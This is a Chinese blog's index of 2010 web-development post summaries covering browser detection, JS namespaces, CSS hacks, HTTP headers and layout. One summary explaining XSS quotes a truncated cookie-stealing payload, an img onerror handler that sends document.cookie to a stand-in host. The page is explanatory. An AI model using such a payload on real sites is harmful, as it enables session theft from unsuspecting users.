虚度人生

导航

随笔分类 -  web

1 2 下一页

笑问客从何处来--浏览器检测vs.特性检测
摘要：之所以说浏览器类型检测比较尴尬，是因为有了一个打对台的东东，但是又不可能完全被替代，就是粒度更小的浏览器特性检测。所以现在就成了两者共存的情况，虽然根据特性来判断更为准确，但是浏览器类型往往又是开发者判断的首选，而且较为简单明了。还是和以前一样，站在巨人的肩膀上，利用各个js的框架源码，逐一分析比较一下。注：采用的框架版本：prototype-1.6.1, mootools-1.2.4, jque... 阅读全文

posted @ 2010-03-24 09:31 nozer0 阅读(1304) 评论(1) 推荐(0)

合抱之木，生于毫末--js命名空间
摘要：命名空间作用就不赘述了，大家应该也都很熟悉了。我们先来看看各个框架是如何实现自己的命名空间的，都很有各自的特点，但总得来说大同小异，我们挨个来分析一下。注：采用的框架版本：prototype-1.6.1, mootools-1.2.4, jquery-1.4.2, ext-3.2.0,yui-3.1.0, dojo-1.4.2prototype: 初始化全局对象，一般即window。 发现Prot... 阅读全文

posted @ 2010-03-17 10:39 nozer0 阅读(799) 评论(0) 推荐(1)

以旧焕新的css滤镜
摘要：嗯，不是以旧换新，是希望css滤镜这个旧东东能焕发出新的生命。在新出的css3的一些特性令大家大声叫好时，其实ie下的滤镜早已默默的实现了相似的功能。OK，话不多说，让我们挨个来看一下。界面滤镜： AlphaImageLoader： 语法： filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src=x.png, sizingMeth... 阅读全文

posted @ 2010-03-08 16:08 nozer0 阅读(800) 评论(0) 推荐(0)

无处不在的xss攻击
摘要：XSS(Cross Site Script)跨站脚本攻击。是指攻击者向被攻击Web 页面里插入恶意html代码，当用户浏览该页之时，嵌入其中的HTML代码会被执行，从而达到攻击的特殊目的。常见的有：盗取cookie。最简单的比如提交一个图片"<img src="x" onerror="window.open(http://xxx.com/getcookie.php?c='+document.... 阅读全文

posted @ 2010-03-01 16:00 nozer0 阅读(505) 评论(0) 推荐(0)

常见的http header
摘要：适当使用http头信息会给网站带来一些意想不到的好处，现在就让我们一起来看看有哪些常见的http头。http状态：　　见HTTP 状态代码。请求头：Accept: 允许哪些媒体类型。Accept-Charset: 允许哪些字符集。Accept-Encoding: 允许哪些编码。Accept-Language: 允许哪些语言。Cache-Control: 缓存策略，如no-cache，详见官方文档。... 阅读全文

posted @ 2010-02-26 20:32 nozer0 阅读(693) 评论(0) 推荐(0)

不听话的height
摘要：先看具体代码<!DOCTYPE HTML><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta http-equiv="cache-control" content="no-cache" /><style>&... 阅读全文

posted @ 2010-02-23 10:20 nozer0 阅读(342) 评论(4) 推荐(0)

奇妙的Function和prototype
摘要：先来看一段代码function fn() {};Function.prototype.test = 'fn';fn.prototype.test = 'aaa';var fo = new fn();alert(fo.test);相信所有人都知道答案，ok，再来一段：function fn() { return {}; };Function.prototype.test = 'fn';fn.prot... 阅读全文

posted @ 2010-02-22 09:55 nozer0 阅读(601) 评论(0) 推荐(0)

doctype的markup validation
摘要：之前谈过doctype的问题，被忽视的DOCTYPE，最末说了提倡使用<!DOCTYPE HTML>，最简洁明了且是标准模式。但是最近发现使用这种方式会产生问题，见代码：<!DOCTYPE HTML><html><head><title>test page</title></head><body><... 阅读全文

posted @ 2010-02-11 11:48 nozer0 阅读(266) 评论(0) 推荐(0)

Think You Know Javascript? (2)
摘要：这次是14题，比上回的6题看了更闹心，希望不管有没有做对都去思考一下为什么答案是这个，是否真正掌握。quiz个人觉得没有没有完全答对的都要对这个题目回答Oh, No!!! 阅读全文

posted @ 2010-02-10 10:07 nozer0 阅读(213) 评论(0) 推荐(0)

天才的可乐罐(2)
摘要：天才的可乐罐又出新版本了，还有一些别的令人目眩的效果。http://ajaxian.com/romancortes/ajaxian.htmlhttp://ajaxian.com/romancortes/starry.htmlhttp://ajaxian.com/romancortes/romajaxian.html 阅读全文

posted @ 2010-02-09 17:02 nozer0 阅读(250) 评论(0) 推荐(0)

web开发的一些工具
摘要：介绍一些工具及工具性网站，用以在前端开发时检测代码或压缩文件。html:http://www.quirksmode.org/compatibility.html，ppk大牛的兼容表。http://validator.w3.org/，著名的w3c标准验证。http://validator.w3.org/checklink，同样来自w3c，用以检查链接的合法性。css:http://www.web60... 阅读全文

posted @ 2010-02-05 14:28 nozer0 阅读(417) 评论(0) 推荐(0)

比较搞笑的js陷阱题
摘要：今天看到一段代码，比较有意思，本周就再多加一问。看如下代码：　　var a = function(t) { return t; }　　(1 + 2).toString();　　alert(a);结果是多少？偷偷看一下答案其实主要问题出在第一行后面没有分号，所以其实是var a = function(t) { return t; }(1 + 2).toString();先建立变量a,然后执行赋值语句... 阅读全文

posted @ 2010-02-04 17:32 nozer0 阅读(331) 评论(0) 推荐(0)

头痛的layout (2)
摘要：书接上回(头痛的layout)，这次我们要实现稍复杂一点的。1. 加入头部和尾部：如图所示。 代码如下，也可以试着自己修改一下再看效果：<!DOCTYPE HTML><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><meta ht... 阅读全文

posted @ 2010-02-02 19:48 nozer0 阅读(447) 评论(0) 推荐(0)

天才的可乐罐
摘要：这个特效太棒了，以致于我压抑不住与大家分享的心情。来自于Román Cortés的Pure CSS Coke Can： 阅读全文

posted @ 2010-02-01 13:29 nozer0 阅读(250) 评论(1) 推荐(1)

you think you know javascript
摘要：zaka在twitter发的回答Baranovskiy的So, you think you know JavaScript?，引起广泛的关注。那5道题目我猜测在国内确实能倒下一大片搞js开发的，一直以来感觉牛人不少，但也有为数不少的程序员缺乏脚踏实地的精神，缺乏钻研的精神，希望能让一部分人有所警醒。摘抄原文如下：Quick test for real understanding of JavaSc... 阅读全文

posted @ 2010-01-31 17:30 nozer0 阅读(308) 评论(3) 推荐(0)

不屈服的div
摘要：先看具体代码，在IE下运行试试<!DOCTYPE HTML><html><head></head><body><div id="never_give_up" style="width:100px;border:1px solid"></div></body></html> 运行代码假如你的i... 阅读全文

posted @ 2010-01-29 15:56 nozer0 阅读(284) 评论(0) 推荐(1)

以讹传讹的css hack
摘要：网上流传的css hack有一个很大的误区，就是只注重浏览器不同的版本，殊不知，不同的浏览器模式(doctype)下css hack的效果也是不一样的。（不知道不同的系统平台会不会也有影响，目前还没发现。）这也从一个侧面反应了当下社会的共性，浮躁，大家都是网上搜下来就不管，也没有自己真正细致的去检验过。Ok，闲言少叙，经过个人测试，总结如下：标准模式下：只有ie6识别：_property: val... 阅读全文

posted @ 2010-01-27 13:36 nozer0 阅读(353) 评论(2) 推荐(1)

普遍使用的meta
摘要：head里面的几个标签中，title最为大家熟悉，script和style也是用的很多。base相信也不陌生，要注意的是这个标签不能闭合。link主要用来引入外部css和指定页面图标，如： <linkhref="external.css"rel="stylesheet"type="text/css" /> <linkhref="favicon.ico"rel="shortcut ... 阅读全文

posted @ 2010-01-21 22:49 nozer0 阅读(380) 评论(0) 推荐(0)

有哪些css hack
摘要：请列举能区别不同浏览器，不同模式，不同系统的各种css hack，并说明其用途。可参看以讹传讹的css hack，会陆续进行补充修改。 阅读全文

posted @ 2010-01-21 17:34 nozer0 阅读(138) 评论(0) 推荐(0)

头痛的layout
摘要：日前想做几个布局模板，和同事讨论了一下，自己商定了一些需求。1.第一个，做一个如图所示的布局：要求内容小于窗口的时候，背景能延伸整个页面，内容大于窗口的时候，背景能自动延展。代码如下，也可以试着自己修改一下再看效果：<!DOCTYPE HTML> <html><head><meta http-equiv="content-type" content="te... 阅读全文

posted @ 2010-01-19 21:12 nozer0 阅读(596) 评论(0) 推荐(0)

1 2 下一页